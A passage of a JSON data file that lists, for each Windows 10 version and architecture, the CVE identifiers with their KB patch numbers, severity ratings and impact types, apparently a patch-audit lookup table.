Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"}],\"Windows 10 Version 21H1 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"}],\"Windows 10 Version 21H1 for x64-based Systems\":[{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003637\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005565\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"}],\"Windows 10 Version 21H2 for 32-bit Systems\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5008212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034122\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029244\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073724\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028166\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032192\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031356\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034763\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041580\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043064\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048652\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055518\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060533\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066791\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062554\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062554\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 21H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5008212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034122\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029244\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073724\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028166\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032189\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031356\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034763\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041580\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043064\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048652\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055518\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060533\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066791\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062554\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062554\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 21H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009543\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5008212\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015807\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014699\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013942\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034122\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029244\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073724\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028166\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032189\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031356\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034763\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041580\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043064\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048652\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055518\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060533\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066791\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062554\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062554\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 22H2 for 32-bit Systems\":[{\"cve\":\"CVE-2021-34527\",\"kb\":\"5019959\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034122\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029244\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073724\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028166\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032189\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031356\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034763\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041580\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043064\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048652\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055518\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060533\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066791\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062554\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062554\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 22H2 for ARM64-based Systems\":[{\"cve\":\"CVE-2021-34527\",\"kb\":\"5019959\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034122\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029244\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073724\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028166\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032189\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031356\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034763\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041580\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043064\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048652\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055518\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060533\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066791\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062554\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062554\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 22H2 for x64-based Systems\":[{\"cve\":\"CVE-2021-34527\",\"kb\":\"5019959\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-45985\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034122\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029244\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025221\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073724\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028166\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032189\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031356\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034763\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041580\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043064\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048652\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044273\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-21333\",\"kb\":\"5049981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053606\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055518\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058379\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060533\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066791\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062554\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062554\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063709\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 for 32-bit Systems\":[{\"cve\":\"CVE-2015-2433\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3081444\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3081455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3081455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3081455\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3081455\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3081455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3097617\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3097617\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3097617\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3116869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3116869\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6168\",\"kb\":\"3116869\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Remote Code 